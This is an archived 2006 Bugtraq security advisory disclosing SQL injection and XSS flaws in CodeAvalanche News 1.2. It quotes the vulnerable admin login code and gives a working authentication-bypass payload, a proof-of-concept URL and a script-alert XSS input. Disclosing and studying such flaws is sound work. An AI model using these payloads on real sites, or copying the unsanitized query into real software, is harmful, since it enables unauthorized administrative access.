bugtraq - CANews Multiple Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: 18 May 2006 18:28:34 -0000
From: omnipresent@...il.it
To: bugtraq@...urityfocus.com
Subject: CANews Multiple Vulnerabilities

------------------------------------------------------------------
            - CANews Remote Multiple Vulnerability -
   -= http://colander.altervista.org/advisory/CANews.txt =-
------------------------------------------------------------------

	    -= CodeAvalanche News Version 1.2 =-

Omnipresent
May 18, 2006

Vunerability(s):
----------------
SQL Injection
XSS Attack

Product:
--------
CodeAvalanche News Version 1.2

Vendor:
--------
http://www.truecontent.info/codeavalanche/asp-news-publishing-script.php

Description of product:
-----------------------

CodeAvalanche News is asp application which allows webmasters to easy add news page to their website.

Resource Specification
Platform(s): 	windows
Date Added: 	Mar 8, 2005
Last Updated: 	May 5, 2006
Author: 	xfairguy

Vulnerability / Exploit:
------------------------

In [path_of_appl.]\admin directory, there is the file default.asp and it contain a vulnerable code; because the variable 
Password is not properly sanitized. 
A malicious people can Inject SQL code by Password variable.

Let's look the source code, to understand the problem:

[default.asp]

[...]

userLogged=false
If Request("Password")<>"" Then 
'response.Write(Request("Password")) 
'response.flush

dim rsUser,selectSQL
selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") & "'"
a' OR 'a' = 'a
'response.Write(selectSQL) 

set rsUser = Server.CreateObject("ADODB.Recordset")
rsUser.ActiveConnection =connStr
rsUser.Source = selectSQL
rsUser.CursorType = 3
rsUser.CursorLocation = 2
rsUser.LockType = 3
rsUser.Open()

[...]

[End default.asp]

As you can see the problem is in the string selectSQL. The input passed by the variable Password is not properly sanitized so
an attacker can Inject arbitrary SQL code. Look this example:

If the variable Password is : 1' OR '1' = '1

The selectSQL string looks like:

selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'

And you can gain access to the application with admin rights.

- XSS Attack Explaination - 

There is also an XSS bug in this application.
If you put in add_news.asp in the field Headline a script like:

<script>alert("XSS Attack")</script>

You can see the alert message "XSS Attack"

PoC / Proof of Concept of SQL Injection:
----------------------------------------

An attacker can go to this URL:

http://127.0.0.1/[path_of_application]/CANews/Admin/default.asp?password=1' OR '1' = '1&Submit=Login

Vendor Status
-------------

Not informed!

Credits:
--------
omnipresent
omnipresent@...il.it